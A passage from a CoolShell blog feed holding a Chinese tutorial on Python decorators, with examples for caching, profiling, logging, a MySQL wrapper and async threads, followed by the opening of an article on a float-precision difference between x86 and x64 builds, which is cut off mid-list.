href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-11300\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960.jpg\" alt=\"\" width=\"280\" height=\"233\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960.jpg 350w, https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-300x249.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-325x270.jpg 325w\" sizes=\"(max-width: 280px) 100vw, 280px\" />Python的修饰器的英文名叫Decorator，当你看到这个英文名的时候，你可能会把其跟Design Pattern里的Decorator搞混了，其实这是完全不同的两个东西。虽然好像，他们要干的事都很相似——都是想要对一个已有的模块做一些“修饰工作”，所谓修饰工作就是想给现有的模块加上一些小装饰（一些小功能，这些小功能可能好多模块都会用到），但又不让这个小装饰（小功能）侵入到原有的模块中的代码里去。但是OO的Decorator简直就是一场恶梦，不信你就去看看wikipedia上的词条（<a href=\"http://en.wikipedia.org/wiki/Decorator_pattern\" target=\"_blank\" rel=\"noopener noreferrer\">Decorator Pattern</a>）里的UML图和那些代码，这就是我在《 <a title=\"链接：从面向对象的设计模式看软件设计\" href=\"https://coolshell.cn/articles/8961.html\" rel=\"bookmark\">从面向对象的设计模式看软件设计</a>》“餐后甜点”一节中说的，OO鼓励了——“厚重地胶合和复杂层次”，也是《 <a title=\"链接：如此理解面向对象编程\" href=\"https://coolshell.cn/articles/8745.html\" rel=\"bookmark\">如此理解面向对象编程</a>》中所说的“OO的狂热者们非常害怕处理数据”，Decorator Pattern搞出来的代码简直就是OO的反面教程。</p>\n<p>Python 的 Decorator在使用上和Java/C#的Annotation很相似，就是在方法名前面加一个@XXX注解来为这个方法装饰一些东西。但是，Java/C#的Annotation也很让人望而却步，太TMD的复杂了，你要玩它，你需要了解一堆Annotation的类库文档，让人感觉就是在学另外一门语言。</p>\n<p>而Python使用了一种相对于Decorator Pattern和Annotation来说非常优雅的方法，这种方法不需要你去掌握什么复杂的OO模型或是Annotation的各种类库规定，完全就是语言层面的玩法：一种函数式编程的技巧。如果你看过本站的《<a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a>》，你一定会为函数式编程的那种“描述你想干什么，而不是描述你要怎么去实现”的编程方式感到畅快。（如果你不了解函数式编程，那在读本文之前，还请你移步去看看《<a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a>》） 好了，我们先来点感性认识，看一个Python修饰器的Hello World的代码。</p>\n<p><span id=\"more-11265\"></span></p>\n<h4>Hello World</h4>\n<p>下面是代码（文件名：hello.py）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"1-6,8\">def hello(fn):\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    print \"i am foo\"\n\nfoo()\n</pre>\n<p>当你运行代码，你会看到如下输出：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">[chenaho@chenhao-air]$ python hello.py\nhello, foo\ni am foo\ngoodby, foo</pre>\n<p>你可以看到如下的东西：</p>\n<p style=\"padding-left: 30px;\">1）函数foo前面有个@hello的“注解”，hello就是我们前面定义的函数hello</p>\n<p style=\"padding-left: 30px;\">2）在hello函数中，其需要一个fn的参数（这就用来做回调的函数）</p>\n<p style=\"padding-left: 30px;\">3）hello函数中返回了一个inner函数wrapper，这个wrapper函数回调了传进来的fn，并在回调前后加了两条语句。</p>\n<h4>Decorator 的本质</h4>\n<p>对于Python的这个@注解语法糖- Syntactic Sugar 来说，当你在用某个@decorator来修饰某个函数func时，如下所示:</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">@decorator\ndef func():\n    pass\n</pre>\n<p>其解释器会解释成下面这样的语句：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">func = decorator(func)</pre>\n<p>尼玛，这不就是把一个函数当参数传到另一个函数中，然后再回调吗？是的，但是，我们需要注意，那里还有一个赋值语句，把decorator这个函数的返回值赋值回了原来的func。 根据《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\" rel=\"noopener noreferrer\">函数式编程</a>》中的<strong>first class functions</strong>中的定义的，你可以把函数当成变量来使用，所以，decorator必需得返回了一个函数出来给func，这就是所谓的<strong>higher order function </strong>高阶函数，不然，后面当func()调用的时候就会出错。 就我们上面那个hello.py里的例子来说，</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">@hello\ndef foo():\n    print \"i am foo\"\n</pre>\n<p>被解释成了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\"> foo = hello(foo)</pre>\n<p><strong>是的，这是一条语句，而且还被执行了。</strong>你如果不信的话，你可以写这样的程序来试试看：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def fuck(fn):\n    print \"fuck %s!\" % fn.__name__[::-1].upper()\n\n@fuck\ndef wfg():\n    pass\n</pre>\n<p>没了，就上面这段代码，没有调用wfg()的语句，你会发现， fuck函数被调用了，而且还很NB地输出了我们每个人的心声！</p>\n<p>再回到我们hello.py的那个例子，我们可以看到，<strong>hello(foo)返回了wrapper()函数，所以，foo其实变成了wrapper的一个变量，而后面的foo()执行其实变成了wrapper()</strong>。</p>\n<p>知道这点本质，当你看到有多个decorator或是带参数的decorator，你也就不会害怕了。</p>\n<p>比如：多个decorator</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">@decorator_one\n@decorator_two\ndef func():\n    pass</pre>\n<p>相当于：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">func = decorator_one(decorator_two(func))</pre>\n<p>比如：带参数的decorator：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">@decorator(arg1, arg2)\ndef func():\n    pass</pre>\n<p>相当于：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">func = decorator(arg1,arg2)(func)</pre>\n<p>这意味着decorator(arg1, arg2)这个函数需要返回一个“真正的decorator”。</p>\n<h4>带参数及多个Decrorator</h4>\n<p>我们来看一个有点意义的例子（文件名：html.py）：</p>\n<p>在上面这个例子中，我们可以看到：makeHtmlTag有两个参数。所以，<strong>为了让 <span style=\"color: #000080;\">hello = makeHtmlTag(arg1, arg2)(hello)</span> 成功，makeHtmlTag 必需返回一个decorator</strong>（这就是为什么我们在makeHtmlTag中加入了real_decorator()的原因）<strong>，这样一来，我们就可以进入到 decorator 的逻辑中去了</strong>—— decorator得返回一个wrapper，wrapper里回调hello。<strong>看似那个makeHtmlTag() 写得层层叠叠，但是，已经了解了本质的我们觉得写得很自然</strong>。 你看，Python的Decorator就是这么简单，没有什么复杂的东西，你也不需要了解过多的东西，使用起来就是那么自然、体贴、干爽、透气，独有的速效凹道和完美的吸收轨迹，让你再也不用为每个月的那几天感到焦虑和不安，再加上贴心的护翼设计，量多也不用当心。对不起，我调皮了。 什么，你觉得上面那个带参数的Decorator的函数嵌套太多了，你受不了。好吧，没事，我们看看下面的方法。</p>\n<h4>class式的 Decorator</h4>\n<p>首先，先得说一下，decorator的class方式，还是看个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-highlight=\"3,7\">class myDecorator(object):\n\n    def __init__(self, fn):\n        print \"inside myDecorator.__init__()\"\n        self.fn = fn\n\n    def __call__(self):\n        self.fn()\n        print \"inside myDecorator.__call__()\"\n\n@myDecorator\ndef aFunction():\n    print \"inside aFunction()\"\n\nprint \"Finished decorating aFunction()\"\n\naFunction()\n\n# 输出：\n# inside myDecorator.__init__()\n# Finished decorating aFunction()\n# inside aFunction()\n# inside myDecorator.__call__()</pre>\n<p>上面这个示例展示了，用类的方式声明一个decorator。我们可以看到这个类中有两个成员：<br />\n1）一个是<strong>init</strong>()，这个方法是在我们给某个函数decorator时被调用，所以，需要有一个fn的参数，也就是被decorator的函数。<br />\n2）一个是<strong>call</strong>()，这个方法是在我们调用被decorator函数时被调用的。<br />\n上面输出可以看到整个程序的执行顺序。</p>\n<p>这看上去要比“函数式”的方式更易读一些。</p>\n<p>下面，我们来看看用类的方式来重写上面的html.py的代码（文件名：html.py）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">class makeHtmlTagClass(object):\n\n    def __init__(self, tag, css_class=\"\"):\n        self._tag = tag\n        self._css_class = \" class='{0}'\".format(css_class) \\\n                                       if css_class !=\"\" else \"\"\n\n    def __call__(self, fn):\n        def wrapped(*args, **kwargs):\n            return \"&lt;\" + self._tag + self._css_class+\"&gt;\"  \\\n                       + fn(*args, **kwargs) + \"&lt;/\" + self._tag + \"&gt;\"\n        return wrapped\n\n@makeHtmlTagClass(tag=\"b\", css_class=\"bold_css\")\n@makeHtmlTagClass(tag=\"i\", css_class=\"italic_css\")\ndef hello(name):\n    return \"Hello, {}\".format(name)\n\nprint hello(\"Hao Chen\")\n</pre>\n<p>上面这段代码中，我们需要注意这几点：<br />\n1）如果decorator有参数的话，<strong>init</strong>() 成员就不能传入fn了，而fn是在<strong>call</strong>的时候传入的。<br />\n2）这段代码还展示了 wrapped(*args, **kwargs) 这种方式来传递被decorator函数的参数。（其中：args是一个参数列表，kwargs是参数dict，具体的细节，请参考Python的文档或是<a href=\"http://stackoverflow.com/questions/3394835/args-and-kwargs\" target=\"_blank\" rel=\"noopener noreferrer\">StackOverflow的这个问题</a>，这里就不展开了）</p>\n<h4>用Decorator设置函数的调用参数</h4>\n<p>你有三种方法可以干这个事：</p>\n<p>第一种，通过 **kwargs，这种方法decorator会在kwargs中注入参数。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def decorate_A(function):\n    def wrap_function(*args, **kwargs):\n        kwargs['str'] = 'Hello!'\n        return function(*args, **kwargs)\n    return wrap_function\n\n@decorate_A\ndef print_message_A(*args, **kwargs):\n    print(kwargs['str'])\n\nprint_message_A()</pre>\n<p>第二种，约定好参数，直接修改参数</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def decorate_B(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        return function(str, *args, **kwargs)\n    return wrap_function\n\n@decorate_B\ndef print_message_B(str, *args, **kwargs):\n    print(str)\n\nprint_message_B()</pre>\n<p>第三种，通过 *args 注入</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def decorate_C(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        #args.insert(1, str)\n        args = args +(str,)\n        return function(*args, **kwargs)\n    return wrap_function\n\nclass Printer:\n    @decorate_C\n    def print_message(self, str, *args, **kwargs):\n        print(str)\n\np = Printer()\np.print_message()</pre>\n<h4>Decorator的副作用</h4>\n<p>到这里，我相信你应该了解了整个Python的decorator的原理了。</p>\n<p>相信你也会发现，被decorator的函数其实已经是另外一个函数了，对于最前面那个hello.py的例子来说，如果你查询一下foo.<strong>name</strong>的话，你会发现其输出的是“wrapper”，而不是我们期望的“foo”，这会给我们的程序埋一些坑。所以，Python的functool包中提供了一个叫wrap的decorator来消除这样的副作用。下面是我们新版本的 hello.py。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-highlight=\"1,3\">from functools import wraps\ndef hello(fn):\n    @wraps(fn)\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    '''foo help doc'''\n    print \"i am foo\"\n    pass\n\nfoo()\nprint foo.__name__ #输出 foo\nprint foo.__doc__  #输出 foo help doc\n</pre>\n<p>当然，即使是你用了functools的wraps，也不能完全消除这样的副作用。</p>\n<p>来看下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from inspect import getmembers, getargspec\nfrom functools import wraps\n\ndef wraps_decorator(f):\n    @wraps(f)\n    def wraps_wrapper(*args, **kwargs):\n        return f(*args, **kwargs)\n    return wraps_wrapper\n\nclass SomeClass(object):\n    @wraps_decorator\n    def method(self, x, y):\n        pass\n\nobj = SomeClass()\nfor name, func in getmembers(obj, predicate=inspect.ismethod):\n    print \"Member Name: %s\" % name\n    print \"Func Name: %s\" % func.func_name\n    print \"Args: %s\" % getargspec(func)[0]\n\n# 输出：\n# Member Name: method\n# Func Name: method\n# Args: []</pre>\n<p>你会发现，即使是你你用了functools的wraps，你在用getargspec时，参数也不见了。</p>\n<p>要修正这一问，我们还得用Python的反射来解决，下面是相关的代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def get_true_argspec(method):\n    argspec = inspect.getargspec(method)\n    args = argspec[0]\n    if args and args[0] == 'self':\n        return argspec\n    if hasattr(method, '__func__'):\n        method = method.__func__\n    if not hasattr(method, 'func_closure') or method.func_closure is None:\n        raise Exception(\"No closure for method.\")\n\n    method = method.func_closure[0].cell_contents\n    return get_true_argspec(method)</pre>\n<p>当然，我相信大多数人的程序都不会去getargspec。所以，用functools的wraps应该够用了。</p>\n<h4>一些decorator的示例</h4>\n<p>好了，现在我们来看一下各种decorator的例子：</p>\n<h5>给函数调用做缓存</h5>\n<p>这个例实在是太经典了，整个网上都用这个例子做decorator的经典范例，因为太经典了，所以，我这篇文章也不能免俗。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from functools import wraps\ndef memo(fn):\n    cache = {}\n    miss = object()\n\n    @wraps(fn)\n    def wrapper(*args):\n        result = cache.get(args, miss)\n        if result is miss:\n            result = fn(*args)\n            cache[args] = result\n        return result\n\n    return wrapper\n\n@memo\ndef fib(n):\n    if n &lt; 2:\n        return n\n    return fib(n - 1) + fib(n - 2)\n</pre>\n<p>上面这个例子中，是一个斐波拉契数例的递归算法。我们知道，这个递归是相当没有效率的，因为会重复调用。比如：我们要计算fib(5)，于是其分解成fib(4) + fib(3)，而fib(4)分解成fib(3)+fib(2)，fib(3)又分解成fib(2)+fib(1)…… 你可看到，基本上来说，fib(3), fib(2), fib(1)在整个递归过程中被调用了两次。</p>\n<p>而我们用decorator，在调用函数前查询一下缓存，如果没有才调用了，有了就从缓存中返回值。一下子，这个递归从二叉树式的递归成了线性的递归。</p>\n<h5>Profiler的例子</h5>\n<p>这个例子没什么高深的，就是实用一些。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">import cProfile, pstats, StringIO\n\ndef profiler(func):\n    def wrapper(*args, **kwargs):\n        datafn = func.__name__ + \".profile\" # Name the data file\n        prof = cProfile.Profile()\n        retval = prof.runcall(func, *args, **kwargs)\n        #prof.dump_stats(datafn)\n        s = StringIO.StringIO()\n        sortby = 'cumulative'\n        ps = pstats.Stats(prof, stream=s).sort_stats(sortby)\n        ps.print_stats()\n        print s.getvalue()\n        return retval\n\n    return wrapper\n\n</pre>\n<h5>注册回调函数</h5>\n<p>下面这个示例展示了通过URL的路由来调用相关注册的函数示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">class MyApp():\n    def __init__(self):\n        self.func_map = {}\n\n    def register(self, name):\n        def func_wrapper(func):\n            self.func_map[name] = func\n            return func\n        return func_wrapper\n\n    def call_method(self, name=None):\n        func = self.func_map.get(name, None)\n        if func is None:\n            raise Exception(\"No function registered against - \" + str(name))\n        return func()\n\napp = MyApp()\n\n@app.register('/')\ndef main_page_func():\n    return \"This is the main page.\"\n\n@app.register('/next_page')\ndef next_page_func():\n    return \"This is the next page.\"\n\nprint app.call_method('/')\nprint app.call_method('/next_page')\n</pre>\n<p>注意：<br />\n1）上面这个示例中，用类的实例来做decorator。<br />\n2）decorator类中没有<strong>call</strong>()，但是wrapper返回了原函数。所以，原函数没有发生任何变化。</p>\n<h5>给函数打日志</h5>\n<p>下面这个示例演示了一个logger的decorator，这个decorator输出了函数名，参数，返回值，和运行时间。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from functools import wraps\ndef logger(fn):\n    @wraps(fn)\n    def wrapper(*args, **kwargs):\n        ts = time.time()\n        result = fn(*args, **kwargs)\n        te = time.time()\n        print \"function      = {0}\".format(fn.__name__)\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n        print \"    time      = %.6f sec\" % (te-ts)\n        return result\n    return wrapper\n\n@logger\ndef multipy(x, y):\n    return x * y\n\n@logger\ndef sum_num(n):\n    s = 0\n    for i in xrange(n+1):\n        s += i\n    return s\n\nprint multipy(2, 10)\nprint sum_num(100)\nprint sum_num(10000000)</pre>\n<p>上面那个打日志还是有点粗糙，让我们看一个更好一点的（带log level参数的）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">import inspect\ndef get_line_number():\n    return inspect.currentframe().f_back.f_back.f_lineno\n\ndef logger(loglevel):\n    def log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            print \"function   = \" + fn.__name__,\n            print \"    arguments = {0} {1}\".format(args, kwargs)\n            print \"    return    = {0}\".format(result)\n            print \"    time      = %.6f sec\" % (te-ts)\n            if (loglevel == 'debug'):\n                print \"    called_from_line : \" + str(get_line_number())\n            return result\n        return wrapper\n    return log_decorator</pre>\n<p>但是，上面这个带log level参数的有两具不好的地方，<br />\n1） loglevel不是debug的时候，还是要计算函数调用的时间。<br />\n2） 不同level的要写在一起，不易读。</p>\n<p>我们再接着改进：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">import inspect\n\ndef advance_logger(loglevel):\n\n    def get_line_number():\n        return inspect.currentframe().f_back.f_back.f_lineno\n\n    def _basic_log(fn, result, *args, **kwargs):\n        print \"function   = \" + fn.__name__,\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n\n    def info_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            result = fn(*args, **kwargs)\n            _basic_log(fn, result, args, kwargs)\n        return wrapper\n\n    def debug_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            _basic_log(fn, result, args, kwargs)\n            print \"    time      = %.6f sec\" % (te-ts)\n            print \"    called_from_line : \" + str(get_line_number())\n        return wrapper\n\n    if loglevel is \"debug\":\n        return debug_log_decorator\n    else:\n        return info_log_decorator\n</pre>\n<p>你可以看到两点，<br />\n1）我们分了两个log level，一个是info的，一个是debug的，然后我们在外尾根据不同的参数返回不同的decorator。<br />\n2）我们把info和debug中的相同的代码抽到了一个叫_basic_log的函数里，DRY原则。</p>\n<h5>一个MySQL的Decorator</h5>\n<p>下面这个decorator是我在工作中用到的代码，我简化了一下，把DB连接池的代码去掉了，这样能简单点，方便阅读。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">import umysql\nfrom functools import wraps\n\nclass Configuraion:\n    def __init__(self, env):\n        if env == \"Prod\":\n            self.host    = \"coolshell.cn\"\n            self.port    = 3306\n            self.db      = \"coolshell\"\n            self.user    = \"coolshell\"\n            self.passwd  = \"fuckgfw\"\n        elif env == \"Test\":\n            self.host   = 'localhost'\n            self.port   = 3300\n            self.user   = 'coolshell'\n            self.db     = 'coolshell'\n            self.passwd = 'fuckgfw'\n\ndef mysql(sql):\n\n    _conf = Configuraion(env=\"Prod\")\n\n    def on_sql_error(err):\n        print err\n        sys.exit(-1)\n\n    def handle_sql_result(rs):\n        if rs.rows &gt; 0:\n            fieldnames = [f[0] for f in rs.fields]\n            return [dict(zip(fieldnames, r)) for r in rs.rows]\n        else:\n            return []\n\n    def decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            mysqlconn = umysql.Connection()\n            mysqlconn.settimeout(5)\n            mysqlconn.connect(_conf.host, _conf.port, _conf.user, \\\n                              _conf.passwd, _conf.db, True, 'utf8')\n            try:\n                rs = mysqlconn.query(sql, {})\n            except umysql.Error as e:\n                on_sql_error(e)\n\n            data = handle_sql_result(rs)\n            kwargs[\"data\"] = data\n            result = fn(*args, **kwargs)\n            mysqlconn.close()\n            return result\n        return wrapper\n\n    return decorator\n\n@mysql(sql = \"select * from coolshell\" )\ndef get_coolshell(data):\n    ... ...\n    ... ..\n</pre>\n<h5>线程异步</h5>\n<p>下面量个非常简单的异步执行的decorator，注意，异步处理并不简单，下面只是一个示例。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">from threading import Thread\nfrom functools import wraps\n\ndef async(func):\n    @wraps(func)\n    def async_func(*args, **kwargs):\n        func_hl = Thread(target = func, args = args, kwargs = kwargs)\n        func_hl.start()\n        return func_hl\n\n    return async_func\n\nif __name__ == '__main__':\n    from time import sleep\n\n    @async\n    def print_somedata():\n        print 'starting print_somedata'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'finished print_somedata'\n\n    def main():\n        print_somedata()\n        print 'back in main'\n        print_somedata()\n        print 'back in main'\n\n    main()\n</pre>\n<h4>其它</h4>\n<p>关于更多的示例，你可以参看： <a href=\"https://wiki.python.org/moin/PythonDecoratorLibrary\" target=\"_blank\" rel=\"noopener noreferrer\">Python Decorator Library</a></p>\n<p>关于Python Decroator的各种提案，可以参看：<a href=\"https://wiki.python.org/moin/PythonDecoratorProposals\" target=\"_blank\" rel=\"noopener noreferrer\">Python Decorator Proposals</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11265.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>84</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个浮点数跨平台产生的问题</title>\n\t\t<link>https://coolshell.cn/articles/11235.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11235.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[tanglei.name]]></dc:creator>\n\t\t<pubDate>Sat, 15 Mar 2014 12:44:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[.NET编程]]></category>\n\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[.NET]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[float]]></category>\n\t\t<category><![CDATA[FPU]]></category>\n\t\t<category><![CDATA[SSE]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11235</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>感谢网友唐磊（微博@唐磊_name）投稿，本文原文在唐磊的博客上（原文地址），原文分析还不够好，而且可能对人有误导，所以，我对原文做了很多修改，并加了Linux...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11235.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>感谢网友<a href=\"http://www.tanglei.name/\" target=\"_blank\">唐磊</a>（微博@<a title=\"唐磊_name\" href=\"http://weibo.com/tangleithu?from=feed&amp;loc=nickname\">唐磊_name</a>）投稿，本文原文在唐磊的博客上（<a href=\"http://www.tanglei.name/a-bug-relate-with-float-point-between-x86-and-x64-in-csharp/\">原文地址</a>），原文分析还不够好，而且可能对人有误导，所以，我对原文做了很多修改，并加了Linux下的内容。浮点数是一个很复杂的事情，希望这篇文章有助于大家了解浮点数与其相关的C/C++的编译选项。</strong>（注：我没有Windows 32位以及C#的环境，所以，对于Windows 32位的程序和C#的程序没有验证过）</p>\n<p>背景就简单点儿说，最近一个项目C#编写，涉及浮点运算，来龙去脉省去，直接看如下代码。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">float p3x = 80838.0f;\nfloat p2y = -2499.0f;\ndouble v321 = p3x * p2y;\nConsole.WriteLine(v321);</pre>\n<p>很简单吧，马上笔算下结果为-202014162，没问题，难道C#没有产生这样的结果？不可能吧，开启Visual Studio，copy代码试试，果然结果是-202014162。就这样完了么？显然没有！你把编译时的选项从AnyCPU改成x64试试~(服务器环境正是64位滴哦！！)结果居然边成了-202014160，对没错，就是-202014160。有点不相信，再跑两遍，仍然是-202014160。呃，想通了，因为浮点运算的误差，-202014160这个结果是合理的。</p>\n<p>为什么合理呢？很正常，因为上面的p3x和p2y是两个float类型，虽然v321是double，但也是两个float类型计算完后再转成double的，<strong>float的精度本来也只有7位，所以，对于这个上亿的数，自然没有办法保证精度</strong>。</p>\n<p><strong>但是为什么修改CPU的type会有不同的效果？</strong>嗯，我们再试试C/C++。</p>\n<p><span id=\"more-11235\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include\nusing namespace std;\n\nint main()\n{\n    float p3x = 80838.0f;\n    float p2y = -2499.0f;\n    double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout &lt;&lt; v321 &lt;&lt; std::endl;\n\n    return 0;\n}\n</pre>\n<p>上面这段C++代码在不同的平台下的结果如下：</p>\n<ul>\n<li>Windows 32/64位下：-202014160</li>\n<li>Linux 64位下（CentOS 6 gcc 4.4.7）-202014160，</li>\n<li>Linux 32位下（Ubuntu 12.04+ gcc 